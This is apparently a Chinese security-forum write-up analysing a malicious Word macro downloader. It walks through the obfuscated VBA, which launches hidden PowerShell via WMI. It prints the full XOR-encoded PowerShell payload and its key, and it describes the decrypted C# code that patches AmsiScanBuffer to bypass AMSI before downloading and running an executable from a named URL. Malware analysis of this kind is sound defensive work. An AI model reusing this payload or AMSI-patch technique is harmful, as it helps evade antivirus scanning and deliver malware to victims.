查看原文
其他

记一次Word宏Downloader样本分析

0xNOPE 看雪学苑 2022-07-01
本文为看雪论坛优秀文章
看雪论坛作者ID:0xNOPE


第一次分析Office类宏VBA病毒,做个记录。


1


样本概况


测试环境及工具

运行平台:Windows 7 x64
进程监控工具:ProcessHacker
调试分析工具:powershell_ise、Visual Studio2019


样本基本信息

文件名称: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5.doc
样本类型: Microsoft Word 2007+
样本大小: 28.44KB (29123 bytes)
MD5: 9eafc9090d71b382af7c8c04e83d61d2
SHA1: 32a192bab959b725cc02cf3df9b063e160b9ac43
SHA256: a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5 
在virustotal上查询该样本,被标记为Downloader,而且还有一些厂商还未捕获该样本。

沙箱检测:

沙箱检测出病毒创建了3个进程,其中有一个是powershell.exe、释放了4个文件。

 
下面分析一下这个样本。



2


样本分析


VBA宏分析


word 2010双击点开样本,提示需要启用宏功能,这是典型的Office类宏病毒手法,使用VBA宏脚本来隐藏实际功能,如下:
这里按下alt+f11打开宏调试器。
 
但是代码被混淆了,我们将所有内容复制出来,在网址https://www.automateexcel.com/vba-code-indenter/ 将其复原(虽然效果一般,依然有些排版混乱)如下:


动态调试


分析VBA代码


由于排版混乱,各种goto语句乱跳,静态分析让人头疼,我们将代码复制到宏调试器,直接动态调试。
 
f8单步我们可以发现函数Docuement_Open为入口函数,这里在入口设置断点(直接点击侧边的位置即可)。

Dim Garniture As Object 是声明Garniture变量为Object 数据类型。

Object 数据类型Garniture变量存储为 32 位(4个字节)的地址形式,其为对象的引用。利用 Set 语句,声明为 Object的变量可以赋值为任何对象的引用。
 
使用 GetObject 函数返回文件中的 ActiveX 对象的引用,而且可以将该对象赋给对象变量。可以使用 Set 语句将 GetObject 返回的对象赋给对象变量。如:

Dim test As ObjectSet test = GetObject("C:\test.exe")

Lethbridge函数


接着继续f8进入到Lethbridge函数,这里传入的参数为de9a2c49a42b6

视图--->本地窗口可以打开变量窗口,可以直接观察到每个变量的值。
StrConv是对字符串进行操作,第2个参数很关键,而且必填,其值的和决定转换的类型。
 
128表示的操作是Garniture变量存的字符串从 Unicode 转换为系统的默认代码页。
 
64表示将字符串转换为Unicode使用系统的默认代码页。
 
这里的参数是128,表示将Garniture变量存的字符串从 Unicode 转换为系统的默认代码页(我的理解是类似C++的String转char),然后存放在Humoursome数组。便于后续的解密操作。
 
调试过后可以知道,Lethbridge函数的作用是将Humoursome数组内容取出来一个一个进行解密,解密过后的结果为:Lethbridge:"winmgmts:\.\root\cimv2:Win32_Process" : String

Win32_Process 类别代表在 Win32 系统上的一系列事件。"winmgmts:\.\root\CIMV2"用法的说明是创建对象,获取进程相关信息。总之通过"winmgmts:\.\root\cimv2:Win32_Process"这个对象来创建进程,获取进程信息。 


继续往下,获取Win32_Process字符串之后调用GetObject函数获取指定的对象并将获取的对象传入到调用函数SnottineSS内,该函数也会解密出一个字符串内容并通过Win32_Process.Create函数会创建一个进程,如下:

紧接着下面又解密了一个字符串:

可以看出这是一个3692Byte的powershell脚本。内容如下:

powershell -WindowStyle Hiddenfunction y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){ $vc2775=[convert]::ToByte($z4627.Substring($i,2),16); $yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return

很显然这上面的内容肯定没有3692Byte,说明该powershell脚本并不完整。或者说,参数被隐藏了。
 
由powershell -WindowStyle Hidden可以知道,该脚本程序会在启动时将PowerShell窗口隐藏然后才执行之后的操作。
 
我们需要得到完整的Power Shell脚本。
 
启动Process Hacker.exe监控进程,重新调试,在上面创建进程这个地方,powershell.exe一闪而过。可以确定此处打开了powershell.exe。
我们在此处下断点,再一次重新调试,运行到此处不f8,而是shift+f8,在Process Hacker.exe中抓住powershell.exe一闪而逝的机会点击,powershell.exe打开属性,在General-->Command line中可以看到完整的powershell脚本,如下:


将其复制出来,整理一下,得到完整的powershell脚本:

powershell -WindowStyle Hiddenfunction y171e{ param($z4627)$k58be9='a57157c'; $yce74a=''; for ($i=0; $i -lt $z4627.length;$i+=2) { $vc2775=[convert]::ToByte($z4627.Substring($i,2),16); $yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]); } return $yce74a;}$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';$z24c5732 = y171e($z24c573);Add-Type -TypeDefinition $z24c5732;[yba2983]::c193b();


分析powershell脚本


上面的代码可以看到:
 
首先,程序将值$z24c573传入函数y171e,这里的y171e应该是一个解密函数。解密过后的内容存于$z24c5732。
 
然后,调用Add-Type -TypeDefinition将该类添加到会话中,由于由于它使用的是内联源代码,所以该命令使用 TypeDefinition 参数来指定 $z24c5732 变量中的代码。

MSDN中我们可以知道,使用Add-Type 可以在Windows PowerShell会话定义添加 Microsoft .NET Framework 类型(一种类)。

这就表明$z24c5732存储的解密后的内容其实是一个.Net的程序源码。Add-Type | Microsoft Docs?redirectedfrom=MSDN。
 
最后,[yba2983]::c193b();调用类的静态方法。


调用类的静态方法:用中括号把类的名称括起来,然后输入两个冒号,然后再输入方法名,最后是方法的参数。访问类的静态属性:用中括号把类的名称括起来,然后输入两个冒号,然后再输入属性名。来访问.NET类的静态属性。调用对象的方法:在对象变量之后使用点(.)作为成员变量符,然后加上方法名,和方法参数即可。PowerShell中调用.NET对象的静态方法、静态属性和类方法、类属性例子。


我们需要知道经过y171e函数解密过后存放在变量$z24c5732中的内容是什么。
 
powershell或者cmd窗口中输入powershell_ise.exe启动powerShell ISE工具进行调试,将原powershell脚本的第一行和最后两行删去,直接输出变量$24c5732的内容如下:
保存为1.ps1,运行脚本得到解密内容(需要以管理员身份打开powershell.exe然后set-executionpolicy remotesigned修改执行策略为remotesigned)
 
如下: 


分析.NET代码


我们在VisualStudio2019,创建一个C#控制台应用程序,将解密出来的.Net代码提出来进行分析: 
可以看到,程序导入了kernel.dll的4个API函数:

[DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73); [DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea); [DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e);

函数y171e()就是解密函数,将传入的字符串和字符串"a57157c"中的一些值进行异或操作,然后返回解密出的字符串。

函数c193b()就是Run函数,如下:

可以看到,其中多次调用y171e()函数共解密了四个字符串。

amsi.dll 
AmsiScanBuffer 
C:\Users\thh\AppData\Roaming\c9255.exe https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe


函数先解密了前两个字符串,LoadLibrary导入amsi.dll然后GetProcAdderss获取AmsiScanBuffer地址。然后判断获取的函数指针是否为空,如果不为空,执行下面的if语句。

然后调用VirtualProtect函数修改对应的内存属性从仅可读修改为可读可写(PAGE_EXECUTE_READWRITE = 0x40),之后调用Marshal函数分配内存并将Byte[] jeled = {0x31, 0xff, 0x90}复制到AmsiScanbufferAddr + 0x001b的内存区域。
 
amsi是什么?这些操作是要干嘛?AmsiScanBuffer的作用是什么?0x31, 0xff, 0x90复制到AmsiScanbufferAddr + 0x001b的内存区域是要干嘛?
 
Google搜索到对AMSI的解释如下:


AMSI(Antimalware Scan Interface,反恶意软件扫描接口)。反恶意软件解决方案支持 AMSI,那么在 Windows 10 上就可以阻止 PowerShell 攻击代码的执行。反恶意软件扫描接口 (AMSI) 是一种允许应用程序和服务集成在一台机器上的任何反恶意软件产品的泛型接口标准。


Google搜索Byte[] jeled = {0x31, 0xff, 0x90}找到绕过AMSI的文章如下:
https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-redux
可以得知,if判断当中的内容其实就是绕过AMSI的代码。
 
现在我们知道这个.NET代码的作用了,总结一下:
 
首先导入四个API,然后解密两个字符串,获取AmsiScanBuffer地址,AmsiScanBuffer的作用就是给amsi.dll打补丁以此绕过AMSI,防止被扫描到。
 
紧接着就是语句MoveMemory(AmsiScanbufferAddr + 0x001b,unmanagedPointer, 3);给amsi.dll打补丁(0x31, 0xff, 0x90)绕过AMSI(使用xor edi,edi操作码对相关行(将rd8提交到edi寄存器的行)打补丁)。
 
最后解密两个字符串,一个网址,一个本地文件路径,调用WebClient函数将网址上的文件下载到指定路径并启动运行。
 
但是很遗憾,这个网站已经炸了,下载不了这个文件了。这个网站可能是随关随停的,当时用了就关了,也有可能是被举报下挂了。
 
 
由于该样本动态给amsi.dll打了补丁以此绕过了AMSI的检测,使得一部分厂商没有查杀到该病毒。


3


总结


由于是第一次分析Office宏病毒样本,很多地方我都阐述得或许不是很恰当,对VBA程序的分析、powershell脚本的调试都稍显得有些生疏,但是在在分析该样本的过程中我也逐渐熟悉一些宏病毒的一些常规分析手法:VBA程序、powershell脚本、.NET程序。

学习C#、powershell脚本、VBA的一些语法和API的用法,熟悉了AMSI(Antimalware Scan Interface,反恶意软件扫描接口)机制,也顺带学习了如何绕过AMSI。


 


看雪ID:0xNOPE

https://bbs.pediy.com/user-home-911233.htm

*本文由看雪论坛 0xNOPE 原创,转载请注明来自看雪社区





# 往期推荐



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存